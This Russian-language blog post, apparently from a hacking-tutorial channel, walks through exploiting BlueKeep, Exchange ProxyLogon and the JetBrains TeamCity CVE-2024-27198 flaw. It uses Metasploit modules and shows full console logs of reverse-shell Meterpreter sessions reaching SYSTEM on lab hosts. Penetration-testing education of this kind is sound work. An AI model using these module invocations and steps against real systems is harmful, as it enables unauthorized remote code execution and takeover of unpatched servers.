

Эксплуатация уязвимостей: 2 Часть. – Telegraph

Т telegra.ph/ENkspluataciya-uyazvimostej-2-CHast-07-08

Life-Hack - Linux/Хакинг/Хакер/ИБ/Osint

July 8, 2024

Рассмотрим еще несколько популярных критических уязвимостей, которые очень часто встречаются на проектах.

BlueKeep (CVE-2019-0708) — это критическая уязвимость в RDP-службе Windows, позволяющая злоумышленникам выполнять произвольный код на удаленном компьютере без необходимости аутентификации. Эта уязвимость была обнаружена в мае 2019 года и с тех пор представляет угрозу для многих компьютерных систем.

Уязвимость затрагивает Windows XP, Windows Vista, Windows 7, Windows Server 2003 и Windows Server 2008. В конце сентября 2019 года, эксплоит был выложен в открытый доступ в составе проекта Metasploit.

```
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > check
[*] 192.168.1.138:3389 - Detected RDP on 192.168.1.138:3389 (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.1.138:3389 - The target is vulnerable.
[+] 192.168.1.138:3389 - The target is vulnerable.
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

[*] Started reverse TCP handler on 192.168.1.136:4444
[*] 192.168.1.138:3389 - Detected RDP on 192.168.1.138:3389 (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.1.138:3389 - The target is vulnerable.
[*] 192.168.1.138:3389 - Using CHUNK grooming strategy. Size 50MB, target address 0xffffffff8005607000, Channel count 1.
[*] 192.168.1.138:3389 - Surfing channels ...
[*] 192.168.1.138:3389 - Lobbing eggs ...
[*] 192.168.1.138:3389 - Forcing the USE of FREE'd object ...
[*] Sending stage (206403 bytes) to 192.168.1.138
[*] Meterpreter session 3 opened (192.168.1.136:4444 -> 192.168.1.138:49163) at 2019-09-10 08:07:21 -0400

meterpreter > shell
Process 1740 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```

Многие компании используют решение от Microsoft для организации отправки и получения писем, но в организациях мало кто знает, какие угрозы несут уязвимости в Exchange и OWA.

Общеизвестные критические уязвимости:

- ProxyLogon: позволяет злоумышленнику обойти аутентификацию и выдать себя за администратора.
- ProxyShell: набор из трех уязвимостей, которые позволяют удаленное выполнение кода без аутентификации.
- ProxyToken: позволяет злоумышленнику получить письма произвольных пользователей.

Многие из них — цепочки из нескольких уязвимостей, например, ProxyShell объединяет в себя CVE-2021-34473, CVE-2021-34523, CVE-2021-31207.

Чтобы проверить, уязвим ли сервер к подобным багам, можно воспользоваться сканерами, например Nuclei или готовыми модулями Metasploit.

```
msf6 > search proxylogon

Matching Modules
=====

#  Name                                     Disclosure Date
--  -
0  auxiliary/gather/exchange_proxylogon_collector  2021-03-02
   normal No Microsoft Exchange ProxyLogon Collector
1  exploit/windows/http/exchange_proxylogon_rce    2021-03-02
   excellent Yes Microsoft Exchange ProxyLogon RCE
2  auxiliary/scanner/http/exchange_proxylogon      2021-03-02
   normal No Microsoft Exchange ProxyLogon Scanner
```

```
msf6 exploit(windows/http/exchange_proxylogon_rce) > exploit

[*] Started reverse TCP handler on 192.168.85.130:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Using auxiliary/scanner/http/exchange_proxylogon as check
[+] https://192.168.85.210:443 - The target is vulnerable to CVE-2021-26855.
[*] Scanned 1 of 1 hosts (100% complete)
[+] The target is vulnerable.
[*] https://192.168.85.210:443 - Attempt to exploit for CVE-2021-26855
[*] https://192.168.85.210:443 - Retrieving backend FQDN over RPC request
[*] Internal server name (exchange2016.fin.local)
[*] https://192.168.85.210:443 - Sending autodiscover request
[*] Server: e70d2e8e-c5f5-4e71-be01-a861a6f72726@fin.local
[*] LegacyDN: /o=FIN/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=935c1fc08b4f478297f92e8ba9da0da2-ITsupport
[*] https://192.168.85.210:443 - Sending mapi request
[*] SID: S-1-5-21-3198500783-2966689707-3712932549-1103 (ITsupport@fin.local)
[*] https://192.168.85.210:443 - Sending ProxyLogon request
[*] Try to get a good msExchCanary (by patching user SID method)
[*] ASP.NET_SessionId: 2083a424-b722-432c-bbd0-90282c80193d
[*] msExchEcpCanary: o3iWsZ5KzEmNcAqDZE4aTGhhMwGBidkIsB8EMF9SvPdVLAR9bPU0-LHQ0Xfg_T_TxTvK47prNYQ.
[*] OAB id: ea9d6a76-4fcd-46a5-9647-26639a2a8a59 (OAB (Default Web Site))
[*] https://192.168.85.210:443 - Attempt to exploit for CVE-2021-27065
[*] Preparing the payload on the remote target
[+] Waiting for the payload to be available
[+] Sending windows/x64/meterpreter/reverse_tcp payload at 192.168.85.210:443
[*] Sending stage (200262 bytes) to 192.168.85.210
[+] Deleted C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\WgUP.aspx
[*] Meterpreter session 1 opened (192.168.85.130:4444 → 192.168.85.210:7317) at 2021-10-05 06:56:11 -0400

meterpreter >
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

Из относительно свежих уязвимостей сразу вспоминается CVE-2024-27198 & CVE-2024-27199 — удаленное выполнение кода без аутентификации в JetBrains TeamCity.

```

msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check
[+] 192.168.86.43:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux.
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux.
[*] Created authentication token: eyJ0eXAiOiAiVENWMIJ9.YjRBM1V5eVgyVHVkWGZzNGoyNVdoQ1F0Z2NZ.Y2FmNDQxZjktMTVjOS00N
[*] Uploading plugin: JEx8uw3X
[*] Sending stage (3045380 bytes) to 192.168.86.43
[*] Deleting the plugin...
[+] Deleted /opt/TeamCity/work/Catalina/localhost/ROOT/TC_147512_JEx8uw3X
[+] Deleted /home/teamcity/.BuildServer/system/caches/plugins.unpacked/JEx8uw3X
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.43:48238) at 2024-03-01 17:27:29 +0000
[*] Deleting the authentication token...

meterpreter > getuid
Server username: teamcity
meterpreter > sysinfo
Computer      : 192.168.86.43
OS            : Ubuntu 22.04 (Linux 6.5.0-21-generic)
Architecture : x64
BuildTuple    : x86_64-linux-musl
Meterpreter   : x64/linux
meterpreter > pwd
/opt/TeamCity/bin
meterpreter >

```

Каждый день в мире информационных технологий обнаруживаются новые уязвимости в различных продуктах и программном обеспечении. Это может быть вызвано ошибками в коде, недостаточной проверкой безопасности или просто человеческим фактором. Уязвимости могут быть разнообразными поэтому чем больше доступных служб и систем вы нашли на этапе сбора информации, тем выше шанс найти уязвимость.